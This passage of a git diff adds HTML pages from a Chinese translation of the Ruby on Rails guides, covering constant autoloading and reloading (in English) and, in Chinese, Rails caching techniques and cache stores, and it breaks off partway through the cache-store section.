Rails autoloading does not emulate this algorithm, but its starting point is +the name of the constant to be autoloaded, and the cref. See more in Relative +References.

2.4.2 Resolution Algorithm for Qualified Constants

Qualified constants look like this:

+
+Billing::Invoice
+
+
+
+

Billing::Invoice is composed of two constants: Billing is relative and is +resolved using the algorithm of the previous section.

Leading colons would make the first segment absolute rather than +relative: ::Billing::Invoice. That would force Billing to be looked up +only as a top-level constant.

Invoice on the other hand is qualified by Billing and we are going to see +its resolution next. Let's call parent to that qualifying class or module +object, that is, Billing in the example above. The algorithm for qualified +constants goes like this:

+
    +
  1. The constant is looked up in the parent and its ancestors.

  2. +
  3. If the lookup fails, const_missing is invoked in the parent. The default +implementation of const_missing raises NameError, but it can be overridden.

  4. +
+

As you see, this algorithm is simpler than the one for relative constants. In +particular, the nesting plays no role here, and modules are not special-cased, +if neither they nor their ancestors have the constants, Object is not +checked.

Rails autoloading does not emulate this algorithm, but its starting point is +the name of the constant to be autoloaded, and the parent. See more in +Qualified References.

3 Vocabulary

3.1 Parent Namespaces

Given a string with a constant path we define its parent namespace to be the +string that results from removing its rightmost segment.

For example, the parent namespace of the string "A::B::C" is the string "A::B", +the parent namespace of "A::B" is "A", and the parent namespace of "A" is "".

The interpretation of a parent namespace when thinking about classes and modules +is tricky though. Let's consider a module M named "A::B":

+
    +
  • The parent namespace, "A", may not reflect nesting at a given spot.

  • +
  • The constant A may no longer exist, some code could have removed it from +Object.

  • +
  • If A exists, the class or module that was originally in A may not be there +anymore. For example, if after a constant removal there was another constant +assignment there would generally be a different object in there.

  • +
  • In such case, it could even happen that the reassigned A held a new class or +module called also "A"!

  • +
  • In the previous scenarios M would no longer be reachable through A::B but +the module object itself could still be alive somewhere and its name would +still be "A::B".

  • +
+

The idea of a parent namespace is at the core of the autoloading algorithms +and helps explain and understand their motivation intuitively, but as you see +that metaphor leaks easily. Given an edge case to reason about, take always into +account that by "parent namespace" the guide means exactly that specific string +derivation.

3.2 Loading Mechanism

Rails autoloads files with Kernel#load when config.cache_classes is false, +the default in development mode, and with Kernel#require otherwise, the +default in production mode.

Kernel#load allows Rails to execute files more than once if constant +reloading is enabled.

This guide uses the word "load" freely to mean a given file is interpreted, but +the actual mechanism can be Kernel#load or Kernel#require depending on that +flag.

4 Autoloading Availability

Rails is always able to autoload provided its environment is in place. For +example the runner command autoloads:

+
+$ bin/rails runner 'p User.column_names'
+["id", "email", "created_at", "updated_at"]
+
+
+
+

The console autoloads, the test suite autoloads, and of course the application +autoloads.

By default, Rails eager loads the application files when it boots in production +mode, so most of the autoloading going on in development does not happen. But +autoloading may still be triggered during eager loading.

For example, given

+
+class BeachHouse < House
+end
+
+
+
+

if House is still unknown when app/models/beach_house.rb is being eager +loaded, Rails autoloads it.

5 autoload_paths

As you probably know, when require gets a relative file name:

+
+require 'erb'
+
+
+
+

Ruby looks for the file in the directories listed in $LOAD_PATH. That is, Ruby +iterates over all its directories and for each one of them checks whether they +have a file called "erb.rb", or "erb.so", or "erb.o", or "erb.dll". If it finds +any of them, the interpreter loads it and ends the search. Otherwise, it tries +again in the next directory of the list. If the list gets exhausted, LoadError +is raised.

We are going to cover how constant autoloading works in more detail later, but +the idea is that when a constant like Post is hit and missing, if there's a +post.rb file for example in app/models Rails is going to find it, evaluate +it, and have Post defined as a side-effect.

Alright, Rails has a collection of directories similar to $LOAD_PATH in which +to look up post.rb. That collection is called autoload_paths and by +default it contains:

+
    +
  • All subdirectories of app in the application and engines. For example, +app/controllers. They do not need to be the default ones, any custom +directories like app/workers belong automatically to autoload_paths.

  • +
  • Any existing second level directories called app/*/concerns in the +application and engines.

  • +
  • The directory test/mailers/previews.

  • +
+

Also, this collection is configurable via config.autoload_paths. For example, +lib was in the list years ago, but no longer is. An application can opt-in +by adding this to config/application.rb:

+
+config.autoload_paths += "#{Rails.root}/lib"
+
+
+
+

The value of autoload_paths can be inspected. In a just generated application +it is (edited):

+
+$ bin/rails r 'puts ActiveSupport::Dependencies.autoload_paths'
+.../app/assets
+.../app/controllers
+.../app/helpers
+.../app/mailers
+.../app/models
+.../app/controllers/concerns
+.../app/models/concerns
+.../test/mailers/previews
+
+
+
+

autoload_paths is computed and cached during the initialization process. +The application needs to be restarted to reflect any changes in the directory +structure.

6 Autoloading Algorithms

6.1 Relative References

A relative constant reference may appear in several places, for example, in

+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+
+
+
+

all three constant references are relative.

6.1.1 Constants after the class and module Keywords

Ruby performs a lookup for the constant that follows a class or module +keyword because it needs to know if the class or module is going to be created +or reopened.

If the constant is not defined at that point it is not considered to be a +missing constant, autoloading is not triggered.

So, in the previous example, if PostsController is not defined when the file +is interpreted Rails autoloading is not going to be triggered, Ruby will just +define the controller.

6.1.2 Top-Level Constants

On the contrary, if ApplicationController is unknown, the constant is +considered missing and an autoload is going to be attempted by Rails.

In order to load ApplicationController, Rails iterates over autoload_paths. +First checks if app/assets/application_controller.rb exists. If it does not, +which is normally the case, it continues and finds +app/controllers/application_controller.rb.

If the file defines the constant ApplicationController all is fine, otherwise +LoadError is raised:

+
+unable to autoload constant ApplicationController, expected
+<full path to application_controller.rb> to define it (LoadError)
+
+
+
+

Rails does not require the value of autoloaded constants to be a class or +module object. For example, if the file app/models/max_clients.rb defines +MAX_CLIENTS = 100 autoloading MAX_CLIENTS works just fine.

6.1.3 Namespaces

Autoloading ApplicationController looks directly under the directories of +autoload_paths because the nesting in that spot is empty. The situation of +Post is different, the nesting in that line is [PostsController] and support +for namespaces comes into play.

The basic idea is that given

+
+module Admin
+  class BaseController < ApplicationController
+    @@all_roles = Role.all
+  end
+end
+
+
+
+

to autoload Role we are going to check if it is defined in the current or +parent namespaces, one at a time. So, conceptually we want to try to autoload +any of

+
+Admin::BaseController::Role
+Admin::Role
+Role
+
+
+
+

in that order. That's the idea. To do so, Rails looks in autoload_paths +respectively for file names like these:

+
+admin/base_controller/role.rb
+admin/role.rb
+role.rb
+
+
+
+

modulus some additional directory lookups we are going to cover soon.

'Constant::Name'.underscore gives the relative path without extension of +the file name where Constant::Name is expected to be defined.

Let's see how Rails autoloads the Post constant in the PostsController +above assuming the application has a Post model defined in +app/models/post.rb.

First it checks for posts_controller/post.rb in autoload_paths:

+
+app/assets/posts_controller/post.rb
+app/controllers/posts_controller/post.rb
+app/helpers/posts_controller/post.rb
+...
+test/mailers/previews/posts_controller/post.rb
+
+
+
+

Since the lookup is exhausted without success, a similar search for a directory +is performed, we are going to see why in the next section:

+
+app/assets/posts_controller/post
+app/controllers/posts_controller/post
+app/helpers/posts_controller/post
+...
+test/mailers/previews/posts_controller/post
+
+
+
+

If all those attempts fail, then Rails starts the lookup again in the parent +namespace. In this case only the top-level remains:

+
+app/assets/post.rb
+app/controllers/post.rb
+app/helpers/post.rb
+app/mailers/post.rb
+app/models/post.rb
+
+
+
+

A matching file is found in app/models/post.rb. The lookup stops there and the +file is loaded. If the file actually defines Post all is fine, otherwise +LoadError is raised.

6.2 Qualified References

When a qualified constant is missing Rails does not look for it in the parent +namespaces. But there is a caveat: When a constant is missing, Rails is +unable to tell if the trigger was a relative reference or a qualified one.

For example, consider

+
+module Admin
+  User
+end
+
+
+
+

and

+
+Admin::User
+
+
+
+

If User is missing, in either case all Rails knows is that a constant called +"User" was missing in a module called "Admin".

If there is a top-level User Ruby would resolve it in the former example, but +wouldn't in the latter. In general, Rails does not emulate the Ruby constant +resolution algorithms, but in this case it tries using the following heuristic:

+
+

If none of the parent namespaces of the class or module has the missing +constant then Rails assumes the reference is relative. Otherwise qualified.

+
+

For example, if this code triggers autoloading

+
+Admin::User
+
+
+
+

and the User constant is already present in Object, it is not possible that +the situation is

+
+module Admin
+  User
+end
+
+
+
+

because otherwise Ruby would have resolved User and no autoloading would have +been triggered in the first place. Thus, Rails assumes a qualified reference and +considers the file admin/user.rb and directory admin/user to be the only +valid options.

In practice, this works quite well as long as the nesting matches all parent +namespaces respectively and the constants that make the rule apply are known at +that time.

However, autoloading happens on demand. If by chance the top-level User was +not yet loaded, then Rails assumes a relative reference by contract.

Naming conflicts of this kind are rare in practice, but if one occurs, +require_dependency provides a solution by ensuring that the constant needed +to trigger the heuristic is defined in the conflicting place.

6.3 Automatic Modules

When a module acts as a namespace, Rails does not require the application to +defines a file for it, a directory matching the namespace is enough.

Suppose an application has a back office whose controllers are stored in +app/controllers/admin. If the Admin module is not yet loaded when +Admin::UsersController is hit, Rails needs first to autoload the constant +Admin.

If autoload_paths has a file called admin.rb Rails is going to load that +one, but if there's no such file and a directory called admin is found, Rails +creates an empty module and assigns it to the Admin constant on the fly.

6.4 Generic Procedure

Relative references are reported to be missing in the cref where they were hit, +and qualified references are reported to be missing in their parent. (See +Resolution Algorithm for Relative +Constants at the beginning of +this guide for the definition of cref, and Resolution Algorithm for Qualified +Constants for the definition of +parent.)

The procedure to autoload constant C in an arbitrary situation is as follows:

+
+if the class or module in which C is missing is Object
+  let ns = ''
+else
+  let M = the class or module in which C is missing
+
+  if M is anonymous
+    let ns = ''
+  else
+    let ns = M.name
+  end
+end
+
+loop do
+  # Look for a regular file.
+  for dir in autoload_paths
+    if the file "#{dir}/#{ns.underscore}/c.rb" exists
+      load/require "#{dir}/#{ns.underscore}/c.rb"
+
+      if C is now defined
+        return
+      else
+        raise LoadError
+      end
+    end
+  end
+
+  # Look for an automatic module.
+  for dir in autoload_paths
+    if the directory "#{dir}/#{ns.underscore}/c" exists
+      if ns is an empty string
+        let C = Module.new in Object and return
+      else
+        let C = Module.new in ns.constantize and return
+      end
+    end
+  end
+
+  if ns is empty
+    # We reached the top-level without finding the constant.
+    raise NameError
+  else
+    if C exists in any of the parent namespaces
+      # Qualified constants heuristic.
+      raise NameError
+    else
+      # Try again in the parent namespace.
+      let ns = the parent namespace of ns and retry
+    end
+  end
+end
+
+
+
+

7 require_dependency

Constant autoloading is triggered on demand and therefore code that uses a +certain constant may have it already defined or may trigger an autoload. That +depends on the execution path and it may vary between runs.

There are times, however, in which you want to make sure a certain constant is +known when the execution reaches some code. require_dependency provides a way +to load a file using the current loading mechanism, and +keeping track of constants defined in that file as if they were autoloaded to +have them reloaded as needed.

require_dependency is rarely needed, but see a couple of use-cases in +Autoloading and STI and When Constants aren't +Triggered.

Unlike autoloading, require_dependency does not expect the file to +define any particular constant. Exploiting this behavior would be a bad practice +though, file and constant paths should match.

8 Constant Reloading

When config.cache_classes is false Rails is able to reload autoloaded +constants.

For example, in you're in a console session and edit some file behind the +scenes, the code can be reloaded with the reload! command:

+
+> reload!
+
+
+
+

When the application runs, code is reloaded when something relevant to this +logic changes. In order to do that, Rails monitors a number of things:

+
    +
  • config/routes.rb.

  • +
  • Locales.

  • +
  • Ruby files under autoload_paths.

  • +
  • db/schema.rb and db/structure.sql.

  • +
+

If anything in there changes, there is a middleware that detects it and reloads +the code.

Autoloading keeps track of autoloaded constants. Reloading is implemented by +removing them all from their respective classes and modules using +Module#remove_const. That way, when the code goes on, those constants are +going to be unknown again, and files reloaded on demand.

This is an all-or-nothing operation, Rails does not attempt to reload only +what changed since dependencies between classes makes that really tricky. +Instead, everything is wiped.

9 Module#autoload isn't Involved

Module#autoload provides a lazy way to load constants that is fully integrated +with the Ruby constant lookup algorithms, dynamic constant API, etc. It is quite +transparent.

Rails internals make extensive use of it to defer as much work as possible from +the boot process. But constant autoloading in Rails is not implemented with +Module#autoload.

One possible implementation based on Module#autoload would be to walk the +application tree and issue autoload calls that map existing file names to +their conventional constant name.

There are a number of reasons that prevent Rails from using that implementation.

For example, Module#autoload is only capable of loading files using require, +so reloading would not be possible. Not only that, it uses an internal require +which is not Kernel#require.

Then, it provides no way to remove declarations in case a file is deleted. If a +constant gets removed with Module#remove_const its autoload is not triggered +again. Also, it doesn't support qualified names, so files with namespaces should +be interpreted during the walk tree to install their own autoload calls, but +those files could have constant references not yet configured.

An implementation based on Module#autoload would be awesome but, as you see, +at least as of today it is not possible. Constant autoloading in Rails is +implemented with Module#const_missing, and that's why it has its own contract, +documented in this guide.

10 Common Gotchas

10.1 Nesting and Qualified Constants

Let's consider

+
+module Admin
+  class UsersController < ApplicationController
+    def index
+      @users = User.all
+    end
+  end
+end
+
+
+
+

and

+
+class Admin::UsersController < ApplicationController
+  def index
+    @users = User.all
+  end
+end
+
+
+
+

To resolve User Ruby checks Admin in the former case, but it does not in +the latter because it does not belong to the nesting. (See Nesting +and Resolution Algorithms.)

Unfortunately Rails autoloading does not know the nesting in the spot where the +constant was missing and so it is not able to act as Ruby would. In particular, +Admin::User will get autoloaded in either case.

Albeit qualified constants with class and module keywords may technically +work with autoloading in some cases, it is preferable to use relative constants +instead:

+
+module Admin
+  class UsersController < ApplicationController
+    def index
+      @users = User.all
+    end
+  end
+end
+
+
+
+

10.2 Autoloading and STI

Single Table Inheritance (STI) is a feature of Active Record that enables +storing a hierarchy of models in one single table. The API of such models is +aware of the hierarchy and encapsulates some common needs. For example, given +these classes:

+
+# app/models/polygon.rb
+class Polygon < ActiveRecord::Base
+end
+
+# app/models/triangle.rb
+class Triangle < Polygon
+end
+
+# app/models/rectangle.rb
+class Rectangle < Polygon
+end
+
+
+
+

Triangle.create creates a row that represents a triangle, and +Rectangle.create creates a row that represents a rectangle. If id is the +ID of an existing record, Polygon.find(id) returns an object of the correct +type.

Methods that operate on collections are also aware of the hierarchy. For +example, Polygon.all returns all the records of the table, because all +rectangles and triangles are polygons. Active Record takes care of returning +instances of their corresponding class in the result set.

Types are autoloaded as needed. For example, if Polygon.first is a rectangle +and Rectangle has not yet been loaded, Active Record autoloads it and the +record is correctly instantiated.

All good, but if instead of performing queries based on the root class we need +to work on some subclass, things get interesting.

While working with Polygon you do not need to be aware of all its descendants, +because anything in the table is by definition a polygon, but when working with +subclasses Active Record needs to be able to enumerate the types it is looking +for. Let’s see an example.

Rectangle.all only loads rectangles by adding a type constraint to the query:

+
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle")
+
+
+
+

Let’s introduce now a subclass of Rectangle:

+
+# app/models/square.rb
+class Square < Rectangle
+end
+
+
+
+

Rectangle.all should now return rectangles and squares:

+
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle", "Square")
+
+
+
+

But there’s a caveat here: How does Active Record know that the class Square +exists at all?

Even if the file app/models/square.rb exists and defines the Square class, +if no code yet used that class, Rectangle.all issues the query

+
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle")
+
+
+
+

That is not a bug, the query includes all known descendants of Rectangle.

A way to ensure this works correctly regardless of the order of execution is to +load the leaves of the tree by hand at the bottom of the file that defines the +root class:

+
+# app/models/polygon.rb
+class Polygon < ActiveRecord::Base
+end
+require_dependency ‘square’
+
+
+
+

Only the leaves that are at least grandchildren need to be loaded this +way. Direct subclasses do not need to be preloaded. If the hierarchy is +deeper, intermediate classes will be autoloaded recursively from the bottom +because their constant will appear in the class definitions as superclass.

10.3 Autoloading and require +

Files defining constants to be autoloaded should never be required:

+
+require 'user' # DO NOT DO THIS
+
+class UsersController < ApplicationController
+  ...
+end
+
+
+
+

There are two possible gotchas here in development mode:

+
    +
  1. If User is autoloaded before reaching the require, app/models/user.rb +runs again because load does not update $LOADED_FEATURES.

  2. +
  3. If the require runs first Rails does not mark User as an autoloaded +constant and changes to app/models/user.rb aren't reloaded.

  4. +
+

Just follow the flow and use constant autoloading always, never mix +autoloading and require. As a last resort, if some file absolutely needs to +load a certain file use require_dependency to play nice with constant +autoloading. This option is rarely needed in practice, though.

Of course, using require in autoloaded files to load ordinary 3rd party +libraries is fine, and Rails is able to distinguish their constants, they are +not marked as autoloaded.

10.4 Autoloading and Initializers

Consider this assignment in config/initializers/set_auth_service.rb:

+
+AUTH_SERVICE = if Rails.env.production?
+  RealAuthService
+else
+  MockedAuthService
+end
+
+
+
+

The purpose of this setup would be that the application uses the class that +corresponds to the environment via AUTH_SERVICE. In development mode +MockedAuthService gets autoloaded when the initializer runs. Let’s suppose +we do some requests, change its implementation, and hit the application again. +To our surprise the changes are not reflected. Why?

As we saw earlier, Rails removes autoloaded constants, +but AUTH_SERVICE stores the original class object. Stale, non-reachable +using the original constant, but perfectly functional.

The following code summarizes the situation:

+
+class C
+  def quack
+    'quack!'
+  end
+end
+
+X = C
+Object.instance_eval { remove_const(:C) }
+X.new.quack # => quack!
+X.name      # => C
+C           # => uninitialized constant C (NameError)
+
+
+
+

Because of that, it is not a good idea to autoload constants on application +initialization.

In the case above we could implement a dynamic access point:

+
+# app/models/auth_service.rb
+class AuthService
+  if Rails.env.production?
+    def self.instance
+      RealAuthService
+    end
+  else
+    def self.instance
+      MockedAuthService
+    end
+  end
+end
+
+
+
+

and have the application use AuthService.instance instead. AuthService +would be loaded on demand and be autoload-friendly.

10.5 require_dependency and Initializers

As we saw before, require_dependency loads files in an autoloading-friendly +way. Normally, though, such a call does not make sense in an initializer.

One could think about doing some require_dependency +calls in an initializer to make sure certain constants are loaded upfront, for +example as an attempt to address the gotcha with STIs.

Problem is, in development mode autoloaded constants are wiped +if there is any relevant change in the file system. If that happens then +we are in the very same situation the initializer wanted to avoid!

Calls to require_dependency have to be strategically written in autoloaded +spots.

10.6 When Constants aren't Missed

10.6.1 Relative References

Let's consider a flight simulator. The application has a default flight model

+
+# app/models/flight_model.rb
+class FlightModel
+end
+
+
+
+

that can be overridden by each airplane, for instance

+
+# app/models/bell_x1/flight_model.rb
+module BellX1
+  class FlightModel < FlightModel
+  end
+end
+
+# app/models/bell_x1/aircraft.rb
+module BellX1
+  class Aircraft
+    def initialize
+      @flight_model = FlightModel.new
+    end
+  end
+end
+
+
+
+

The initializer wants to create a BellX1::FlightModel and nesting has +BellX1, that looks good. But if the default flight model is loaded and the +one for the Bell-X1 is not, the interpreter is able to resolve the top-level +FlightModel and autoloading is thus not triggered for BellX1::FlightModel.

That code depends on the execution path.

These kind of ambiguities can often be resolved using qualified constants:

+
+module BellX1
+  class Plane
+    def flight_model
+      @flight_model ||= BellX1::FlightModel.new
+    end
+  end
+end
+
+
+
+

Also, require_dependency is a solution:

+
+require_dependency 'bell_x1/flight_model'
+
+module BellX1
+  class Plane
+    def flight_model
+      @flight_model ||= FlightModel.new
+    end
+  end
+end
+
+
+
+
10.6.2 Qualified References

Given

+
+# app/models/hotel.rb
+class Hotel
+end
+
+# app/models/image.rb
+class Image
+end
+
+# app/models/hotel/image.rb
+class Hotel
+  class Image < Image
+  end
+end
+
+
+
+

the expression Hotel::Image is ambiguous, depends on the execution path.

As we saw before, Ruby looks +up the constant in Hotel and its ancestors. If app/models/image.rb has +been loaded but app/models/hotel/image.rb hasn't, Ruby does not find Image +in Hotel, but it does in Object:

+
+$ bin/rails r 'Image; p Hotel::Image' 2>/dev/null
+Image # NOT Hotel::Image!
+
+
+
+

The code evaluating Hotel::Image needs to make sure +app/models/hotel/image.rb has been loaded, possibly with +require_dependency.

In these cases the interpreter issues a warning though:

+
+warning: toplevel constant Image referenced by Hotel::Image
+
+
+
+

This surprising constant resolution can be observed with any qualifying class:

+
+2.1.5 :001 > String::Array
+(irb):1: warning: toplevel constant Array referenced by String::Array
+ => Array
+
+
+
+

To find this gotcha the qualifying namespace has to be a class, +Object is not an ancestor of modules.

10.7 Autoloading within Singleton Classes

Let's suppose we have these class definitions:

+
+# app/models/hotel/services.rb
+module Hotel
+  class Services
+  end
+end
+
+# app/models/hotel/geo_location.rb
+module Hotel
+  class GeoLocation
+    class << self
+      Services
+    end
+  end
+end
+
+
+
+

If Hotel::Services is known by the time app/models/hotel/geo_location.rb +is being loaded, Services is resolved by Ruby because Hotel belongs to the +nesting when the singleton class of Hotel::GeoLocation is opened.

But if Hotel::Services is not known, Rails is not able to autoload it, the +application raises NameError.

The reason is that autoloading is triggered for the singleton class, which is +anonymous, and as we saw before, Rails only checks the +top-level namespace in that edge case.

An easy solution to this caveat is to qualify the constant:

+
+module Hotel
+  class GeoLocation
+    class << self
+      Hotel::Services
+    end
+  end
+end
+
+
+
+

10.8 Autoloading in BasicObject +

Direct descendants of BasicObject do not have Object among their ancestors +and cannot resolve top-level constants:

+
+class C < BasicObject
+  String # NameError: uninitialized constant C::String
+end
+
+
+
+

When autoloading is involved that plot has a twist. Let's consider:

+
+class C < BasicObject
+  def user
+    User # WRONG
+  end
+end
+
+
+
+

Since Rails checks the top-level namespace User gets autoloaded just fine the +first time the user method is invoked. You only get the exception if the +User constant is known at that point, in particular in a second call to +user:

+
+c = C.new
+c.user # surprisingly fine, User
+c.user # NameError: uninitialized constant C::User
+
+
+
+

because it detects a parent namespace already has the constant (see Qualified +References.)

As with pure Ruby, within the body of a direct descendant of BasicObject use +always absolute constant paths:

+
+class C < BasicObject
+  ::String # RIGHT
+
+  def user
+    ::User # RIGHT
+  end
+end
+
+
+
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/caching_with_rails.html b/v4.1/caching_with_rails.html new file mode 100644 index 0000000..5f2be2f --- /dev/null +++ b/v4.1/caching_with_rails.html @@ -0,0 +1,554 @@ + + + + + + + +Rails 缓存简介 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Rails 缓存简介

本文要教你如果避免频繁查询数据库,在最短的时间内把真正需要的内容返回给客户端。

读完本文,你将学到:

+
    +
  • 页面和动作缓存(在 Rails 4 中被提取成单独的 gem);
  • +
  • 片段缓存;
  • +
  • 存储缓存的方法;
  • +
  • Rails 对条件 GET 请求的支持;
  • +
+ + + + +
+
+ +
+
+
+

1 缓存基础

本节介绍三种缓存技术:页面,动作和片段。Rails 默认支持片段缓存。如果想使用页面缓存和动作缓存,要在 Gemfile 中加入 actionpack-page_cachingactionpack-action_caching

在开发环境中若想使用缓存,要把 config.action_controller.perform_caching 选项设为 true。这个选项一般都在各环境的设置文件(config/environments/*.rb)中设置,在开发环境和测试环境默认是禁用的,在生产环境中默认是开启的。

+
+config.action_controller.perform_caching = true
+
+
+
+

1.1 页面缓存

页面缓存机制允许网页服务器(Apache 或 Nginx 等)直接处理请求,不经 Rails 处理。这么做显然速度超快,但并不适用于所有情况(例如需要身份认证的页面)。服务器直接从文件系统上伺服文件,所以缓存过期是一个很棘手的问题。

Rails 4 删除了对页面缓存的支持,如想使用就得安装 actionpack-page_caching gem。最新推荐的缓存方法参见 DHH 对键基缓存过期的介绍

1.2 动作缓存

如果动作上有前置过滤器就不能使用页面缓存,例如需要身份认证的页面,这时需要使用动作缓存。动作缓存和页面缓存的工作方式差不多,但请求还是会经由 Rails 处理,所以在伺服缓存之前会执行前置过滤器。使用动作缓存可以执行身份认证等限制,然后再从缓存中取出结果返回客户端。

Rails 4 删除了对动作缓存的支持,如想使用就得安装 actionpack-action_caching gem。最新推荐的缓存方法参见 DHH 对键基缓存过期的介绍

1.3 片段缓存

如果能缓存整个页面或动作的内容,再伺服给客户端,这个世界就完美了。但是,动态网页程序的页面一般都由很多部分组成,使用的缓存机制也不尽相同。在动态生成的页面中,不同的内容要使用不同的缓存方式和过期日期。为此,Rails 提供了一种缓存机制叫做“片段缓存”。

片段缓存把视图逻辑的一部分打包放在 cache 块中,后续请求都会从缓存中伺服这部分内容。

例如,如果想实时显示网站的订单,而且不想缓存这部分内容,但想缓存显示所有可选商品的部分,就可以使用下面这段代码:

+
+<% Order.find_recent.each do |o| %>
+  <%= o.buyer.name %> bought <%= o.product.name %>
+<% end %>
+
+<% cache do %>
+  All available products:
+  <% Product.all.each do |p| %>
+    <%= link_to p.name, product_url(http://github.com/p) %>
+  <% end %>
+<% end %>
+
+
+
+

上述代码中的 cache 块会绑定到调用它的动作上,输出到动作缓存的所在位置。因此,如果要在动作中使用多个片段缓存,就要使用 action_suffixcache 块指定前缀:

+
+<% cache(action: 'recent', action_suffix: 'all_products') do %>
+  All available products:
+
+
+
+

expire_fragment 方法可以把缓存设为过期,例如:

+
+expire_fragment(controller: 'products', action: 'recent', action_suffix: 'all_products')
+
+
+
+

如果不想把缓存绑定到调用它的动作上,调用 cahce 方法时可以使用全局片段名:

+
+<% cache('all_available_products') do %>
+  All available products:
+<% end %>
+
+
+
+

ProductsController 的所有动作中都可以使用片段名调用这个片段缓存,而且过期的设置方式不变:

+
+expire_fragment('all_available_products')
+
+
+
+

如果不想手动设置片段缓存过期,而想每次更新商品后自动过期,可以定义一个帮助方法:

+
+module ProductsHelper
+  def cache_key_for_products
+    count          = Product.count
+    max_updated_at = Product.maximum(:updated_at).try(:utc).try(:to_s, :number)
+    "products/all-#{count}-#{max_updated_at}"
+  end
+end
+
+
+
+

这个方法生成一个缓存键,用于所有商品的缓存。在视图中可以这么做:

+
+<% cache(cache_key_for_products) do %>
+  All available products:
+<% end %>
+
+
+
+

如果想在满足某个条件时缓存片段,可以使用 cache_ifcache_unless 方法:

+
+<% cache_if (condition, cache_key_for_products) do %>
+  All available products:
+<% end %>
+
+
+
+

缓存的键名还可使用 Active Record 模型:

+
+<% Product.all.each do |p| %>
+  <% cache(p) do %>
+    <%= link_to p.name, product_url(http://github.com/p) %>
+  <% end %>
+<% end %>
+
+
+
+

Rails 会在模型上调用 cache_key 方法,返回一个字符串,例如 products/23-20130109142513。键名中包含模型名,ID 以及 updated_at 字段的时间戳。所以更新商品后会自动生成一个新片段缓存,因为键名变了。

上述两种缓存机制还可以结合在一起使用,这叫做“俄罗斯套娃缓存”(Russian Doll Caching):

+
+<% cache(cache_key_for_products) do %>
+  All available products:
+  <% Product.all.each do |p| %>
+    <% cache(p) do %>
+      <%= link_to p.name, product_url(http://github.com/p) %>
+    <% end %>
+  <% end %>
+<% end %>
+
+
+
+

之所以叫“俄罗斯套娃缓存”,是因为嵌套了多个片段缓存。这种缓存的优点是,更新单个商品后,重新生成外层片段缓存时可以继续使用内层片段缓存。

1.4 底层缓存

有时不想缓存视图片段,只想缓存特定的值或者查询结果。Rails 中的缓存机制可以存储各种信息。

实现底层缓存最有效地方式是使用 Rails.cache.fetch 方法。这个方法既可以从缓存中读取数据,也可以把数据写入缓存。传入单个参数时,读取指定键对应的值。传入代码块时,会把代码块的计算结果存入缓存的指定键中,然后返回计算结果。

以下面的代码为例。程序中有个 Product 模型,其中定义了一个实例方法,用来查询竞争对手网站上的商品价格。这个方法的返回结果最好使用底层缓存:

+
+class Product < ActiveRecord::Base
+  def competing_price
+    Rails.cache.fetch("#{cache_key}/competing_price", expires_in: 12.hours) do
+      Competitor::API.find_price(id)
+    end
+  end
+end
+
+
+
+

注意,在这个例子中使用了 cache_key 方法,所以得到的缓存键名是这种形式:products/233-20140225082222765838000/competing_pricecache_key 方法根据模型的 idupdated_at 属性生成键名。这是最常见的做法,因为商品更新后,缓存就失效了。一般情况下,使用底层缓存保存实例的相关信息时,都要生成缓存键。

1.5 SQL 缓存

查询缓存是 Rails 的一个特性,把每次查询的结果缓存起来,如果在同一次请求中遇到相同的查询,直接从缓存中读取结果,不用再次查询数据库。

例如:

+
+class ProductsController < ApplicationController
+
+  def index
+    # Run a find query
+    @products = Product.all
+
+    ...
+
+    # Run the same query again
+    @products = Product.all
+  end
+
+end
+
+
+
+

2 缓存的存储方式

Rails 为动作缓存和片段缓存提供了不同的存储方式。

页面缓存全部存储在硬盘中。

2.1 设置

程序默认使用的缓存存储方式可以在文件 config/application.rbApplication 类中或者环境设置文件(config/environments/*.rb)的 Application.configure 代码块中调用 config.cache_store= 方法设置。该方法的第一个参数是存储方式,后续参数都是传给对应存储方式构造器的参数。

+
+config.cache_store = :memory_store
+
+
+
+

在设置代码块外部可以调用 ActionController::Base.cache_store 方法设置存储方式。

缓存中的数据通过 Rails.cache 方法获取。

2.2 ActiveSupport::Cache::Store

这个类提供了在 Rails 中和缓存交互的基本方法。这是个抽象类,不能直接使用,应该使用针对各存储引擎的具体实现。Rails 实现了几种存储方式,介绍参见后几节。

和缓存交互常用的方法有:readwritedeleteexist?fetchfetch 方法接受一个代码块,如果缓存中有对应的数据,将其返回;否则,执行代码块,把结果写入缓存。

Rails 实现的所有存储方式都共用了下面几个选项。这些选项可以传给构造器,也可传给不同的方法,和缓存中的记录交互。

+
    +
  • :namespace:在缓存存储中创建命名空间。如果和其他程序共用同一个存储,可以使用这个选项。

  • +
  • :compress:是否压缩缓存。便于在低速网络中传输大型缓存记录。

  • +
  • :compress_threshold:结合 :compress 选项使用,设定一个阈值,低于这个值就不压缩缓存。默认为 16 KB。

  • +
  • :expires_in:为缓存记录设定一个过期时间,单位为秒,过期后把记录从缓存中删除。

  • +
  • :race_condition_ttl:结合 :expires_in 选项使用。缓存过期后,禁止多个进程同时重新生成同一个缓存记录(叫做 dog pile effect),从而避免条件竞争。这个选项设置一个秒数,在这个时间之后才能再次使用重新生成的新值。如果设置了 :expires_in 选项,最好也设置这个选项。

  • +
+

2.3 ActiveSupport::Cache::MemoryStore

这种存储方式在 Ruby 进程中把缓存保存在内存中。存储空间的大小由 :size 选项指定,默认为 32MB。如果超出分配的大小,系统会清理缓存,把最不常使用的记录删除。

+
+config.cache_store = :memory_store, { size: 64.megabytes }
+
+
+
+

